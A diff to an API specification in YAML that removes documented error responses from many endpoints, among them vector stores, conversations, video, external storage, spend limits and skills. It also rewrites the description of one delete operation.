$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -24707,24 +21302,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreObject'
- '400':
- description: The vector store input is invalid, the store has expired, or the store cannot be modified.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller is not authorized to update the vector store.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The vector store was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -24799,24 +21376,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteVectorStoreResponse'
- '404':
- description: The vector store was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '409':
- description: The vector store is temporarily unavailable for this change or was modified concurrently.
- headers:
- Retry-After:
- description: When this change is blocked by a vector store migration, the number of seconds to wait before retrying. Other conflicts may omit this header.
- schema:
- type: integer
- minimum: 1
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -24884,38 +21443,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileBatchObject'
- '400':
- description: The file batch input is invalid, the store has expired, or a file limit would be exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The vector store was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '409':
- description: The vector store is temporarily unavailable for this change or was modified concurrently.
- headers:
- Retry-After:
- description: When this change is blocked by a vector store migration, the number of seconds to wait before retrying. Other conflicts may omit this header.
- schema:
- type: integer
- minimum: 1
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The files could not be attached to the vector store.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: vector_stores
examples:
@@ -25035,18 +21564,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileBatchObject'
- '400':
- description: The file batch identifier is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The vector store or file batch was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -25122,30 +21639,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileBatchObject'
- '400':
- description: The file batch identifier is invalid or the vector store has expired.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The vector store or file batch was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '409':
- description: The vector store is temporarily unavailable for this change or was modified concurrently.
- headers:
- Retry-After:
- description: When this change is blocked by a vector store migration, the number of seconds to wait before retrying. Other conflicts may omit this header.
- schema:
- type: integer
- minimum: 1
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -25262,18 +21755,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListVectorStoreFilesResponse'
- '400':
- description: The file batch identifier or file filter is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The vector store or file batch was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -25389,18 +21870,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListVectorStoreFilesResponse'
- '400':
- description: The requested file filter is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The vector store was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -25481,38 +21950,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileObject'
- '400':
- description: The file input is invalid, the store has expired, or a file limit would be exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The vector store was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '409':
- description: The vector store is temporarily unavailable for this change or was modified concurrently.
- headers:
- Retry-After:
- description: When this change is blocked by a vector store migration, the number of seconds to wait before retrying. Other conflicts may omit this header.
- schema:
- type: integer
- minimum: 1
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The file could not be attached to the vector store.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: vector_stores
examples:
@@ -25588,20 +22027,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileObject'
- '404':
- description: The vector store or file was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The vector store file could not be retrieved.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: vector_stores
examples:
@@ -25668,38 +22095,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteVectorStoreFileResponse'
- '400':
- description: The vector store has expired.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The vector store or file was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '409':
- description: The vector store is temporarily unavailable for this change or was modified concurrently.
- headers:
- Retry-After:
- description: When this change is blocked by a vector store migration, the number of seconds to wait before retrying. Other conflicts may omit this header.
- schema:
- type: integer
- minimum: 1
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The vector store file could not be deleted.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: vector_stores
examples:
@@ -25772,38 +22169,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileObject'
- '400':
- description: The file attributes are invalid or the vector store has expired.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The vector store or file was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '409':
- description: The vector store is temporarily unavailable for this change or was modified concurrently.
- headers:
- Retry-After:
- description: When this change is blocked by a vector store migration, the number of seconds to wait before retrying. Other conflicts may omit this header.
- schema:
- type: integer
- minimum: 1
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The vector store file attributes could not be updated.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: vector_stores
examples:
@@ -25854,26 +22221,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileContentResponse'
- '400':
- description: The vector store has expired or the file content is not ready.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The vector store or file was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The vector store file content could not be retrieved.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: vector_stores
examples:
@@ -25920,18 +22269,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreSearchResultsPage'
- '400':
- description: The search input or filters are invalid, or the vector store has expired.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The vector store was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -26003,20 +22340,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationResource'
- '400':
- description: The conversation input is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The conversation update could not be finalized.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: conversations
path: create
@@ -26114,12 +22439,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationResource'
- '404':
- description: The conversation was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -26180,12 +22499,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedConversationResource'
- '404':
- description: The conversation was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -26250,26 +22563,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationResource'
- '400':
- description: The conversation metadata is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The conversation was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The conversation update could not be finalized.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: conversations
path: update
@@ -26348,32 +22643,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SafetyCaseResource'
- '400':
- description: The safety case ID is too long.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The safety case was not found or is not accessible to the caller.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- $ref: '#/components/responses/TooManyRequests'
- '500':
- description: The safety case lookup failed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '503':
- description: The safety case lookup is temporarily unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: safety-cases
path: retrieve
@@ -26412,26 +22681,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SafetyAlertResource'
- '400':
- description: The safety alert ID is too long.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The safety alert was not found or is not accessible to the caller.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- $ref: '#/components/responses/TooManyRequests'
- '503':
- description: The safety alert lookup is temporarily unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: safety-alerts
path: retrieve
@@ -26477,38 +22726,6 @@ paths:
description: The Live session recording as a stereo WAV file, with input audio in the left channel and output audio in the right channel.
type: string
format: binary
- '400':
- description: Invalid Live session ID.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The endpoint is unavailable or the stored session recording was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- $ref: '#/components/responses/TooManyRequests'
- '500':
- description: The stored session audio could not be exported.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '503':
- description: The audio export is temporarily unavailable.
- headers:
- Retry-After:
- description: The minimum number of seconds to wait before retrying.
- schema:
- type: integer
- minimum: 1
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: live
returns: The stored session recording as binary stereo WAV audio.
@@ -26554,24 +22771,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ExternalStorageListResource'
- '400':
- description: The organization is not enabled for external storage or the listing parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The organization or project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -26642,30 +22841,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ExternalStorageResponse'
- '400':
- description: The external storage request is invalid or the organization or project does not support it.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The organization, project, or external storage was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '503':
- description: External storage registration is temporarily unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -26756,24 +22931,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ExternalStorageResponse'
- '400':
- description: The organization is not enabled for external storage.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The organization or external storage was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -26804,7 +22961,7 @@ paths:
- AdminApiKeyAuth: []
delete:
summary: Delete an external storage configuration
- description: Soft-delete one customer-managed external storage configuration.
+ description: Disconnect a customer-managed external storage configuration. Removing the project's last configuration restores organization-default retention if customer-managed retention was active. Repeating a deletion also completes any interrupted retention update. Cloud storage is unchanged.
operationId: Deleteanexternalstorageconfiguration
parameters:
- name: external_storage_id
@@ -26820,24 +22977,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ExternalStorageDeletedResource'
- '400':
- description: The organization is not enabled for external storage.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The organization or external storage was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -26873,30 +23012,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ExternalStorageResponse'
- '400':
- description: The external storage configuration is invalid or the organization or project does not support it.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The organization, project, or external storage was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '503':
- description: External storage validation is temporarily unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -26938,18 +23053,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendLimitResource'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The organization does not have a hard spend limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -26989,18 +23092,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendLimitResource'
- '400':
- description: The requested spend limit is invalid or cannot be applied.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -27038,18 +23129,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendLimitDeletedResource'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The organization does not have a hard spend limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -27085,24 +23164,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendLimitResource'
- '400':
- description: The project ID is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project was not found or does not have a hard spend limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -27142,24 +23203,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendLimitDeletedResource'
- '400':
- description: The project ID is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project was not found or does not have a hard spend limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -27201,24 +23244,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendLimitResource'
- '400':
- description: The requested spend limit is invalid or cannot be applied.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -27277,36 +23302,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ServiceAccountApiKeyBody'
- '400':
- description: The API key request is invalid or the project is archived.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project or service account was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '409':
- description: The service account already has an API key and cannot create another.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -27350,32 +23345,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProvenanceResource'
- '400':
- description: The file is missing, invalid, unsupported, too large, or rejected by safety checks.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: Content provenance checks are unavailable to this caller.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The content provenance check could not be completed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '503':
- description: Content provenance inspection is temporarily unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: content_provenance_checks
/videos:
@@ -27398,26 +23369,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
- '400':
- description: The video request is invalid, or the organization does not support video generation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: A referenced character was not found or is not accessible, or the Videos API is unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
- '500':
- description: The video generation task could not be created.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
@@ -27542,18 +23495,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoListResource'
- '400':
- description: The query parameters are invalid, or the organization does not support video generation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The video specified by after was not found or is not accessible, or the Videos API is unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
deprecated: true
x-oaiMeta:
group: videos
@@ -27656,30 +23597,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoCharacterResource'
- '400':
- description: The character request or video upload is invalid, or the organization does not support video generation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The video character endpoint is unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: The character could not be created.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '504':
- description: The character creation request timed out.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
deprecated: true
/videos/characters/{character_id}:
get:
@@ -27703,18 +23620,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoCharacterResource'
- '400':
- description: The character ID is invalid, or the organization does not support video generation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The character was not found or is not accessible, or the video character endpoint is unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
deprecated: true
/videos/edits:
post:
@@ -27736,26 +23641,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
- '400':
- description: The edit request or source video is invalid, or the organization does not support video generation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The source video or a referenced character was not found or is not accessible, the source video is not ready, or the Videos API is unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
- '500':
- description: The source video media is unavailable or the edit task could not be created.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
@@ -27779,26 +23666,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
- '400':
- description: The extension request or source video is invalid, or the organization does not support video generation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The source video was not found or is not accessible, the source video is not ready, or the Videos API is unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
- '500':
- description: The source video media is unavailable or the extension task could not be created.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
@@ -27824,18 +23693,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
- '400':
- description: The request is invalid, or the organization does not support video generation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The video was not found or is not accessible, or the Videos API is unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
deprecated: true
x-oaiMeta:
group: videos
@@ -27923,24 +23780,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedVideoResource'
- '400':
- description: The video is still being processed, the request is invalid, or the organization does not support video generation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The video was not found or is not accessible, or the Videos API is unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: The video or its stored media could not be deleted.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
deprecated: true
x-oaiMeta:
group: videos
@@ -28046,24 +23885,6 @@ paths:
application/json:
schema:
type: string
- '400':
- description: The request or content variant is invalid, or the organization does not support video generation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The video was not found or is not ready, its download is unavailable or expired, or the Videos API is unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: The requested video media is unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
deprecated: true
x-oaiMeta:
group: videos
@@ -28171,26 +23992,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
- '400':
- description: The request or source video is not supported for remixing, or the organization does not support video generation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The source video or a referenced character was not found or is not accessible, the source video is not ready, or the Videos API is unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
- '500':
- description: The source generation is unavailable or the remix task could not be created.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
@@ -28311,12 +24114,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/TokenCountsResource'
- '400':
- description: The request to count input tokens is invalid or contains incompatible parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -28432,12 +24229,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CompactResource'
- '400':
- description: Invalid compaction request or incompatible input parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
'503':
@@ -28597,20 +24388,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillResource'
- '400':
- description: The uploaded skill files or archive are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The skill could not be saved.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
get:
tags:
- Skills
@@ -28646,12 +24425,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillListResource'
- '404':
- description: The skill specified by `after` was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
/skills/{skill_id}:
@@ -28676,12 +24449,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedSkillResource'
- '404':
- description: The skill was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
get:
@@ -28705,12 +24472,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillResource'
- '404':
- description: The skill was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
post:
@@ -28739,18 +24500,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillResource'
- '400':
- description: The requested version is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The skill or requested skill version was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
/skills/{skill_id}/content:
@@ -28779,12 +24528,6 @@ paths:
application/json:
schema:
type: string
- '404':
- description: The skill was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
/skills/{skill_id}/versions:
@@ -28817,26 +24560,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillVersionResource'
- '400':
- description: The uploaded skill files or archive are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The skill was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The skill version could not be saved.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
get:
tags:
- Skills
@@ -28879,18 +24604,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillVersionListResource'
- '400':
- description: The version specified by `after` does not belong to this skill.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The skill or the version specified by `after` was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
/skills/{skill_id}/versions/{version}:
@@ -28922,18 +24635,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillVersionResource'
- '400':
- description: The requested version is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The skill or requested skill version was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
delete:
@@ -28964,18 +24665,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedSkillVersionResource'
- '400':
- description: The requested version is invalid, or it is the default version and other versions remain.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The skill or requested skill version was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
/skills/{skill_id}/versions/{version}/content:
@@ -29011,18 +24700,6 @@ paths:
application/json:
schema:
type: string
- '400':
- description: The requested version is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The skill or requested skill version was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
/chatkit/sessions/{session_id}/cancel:
@@ -29048,24 +24725,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ChatSessionResource'
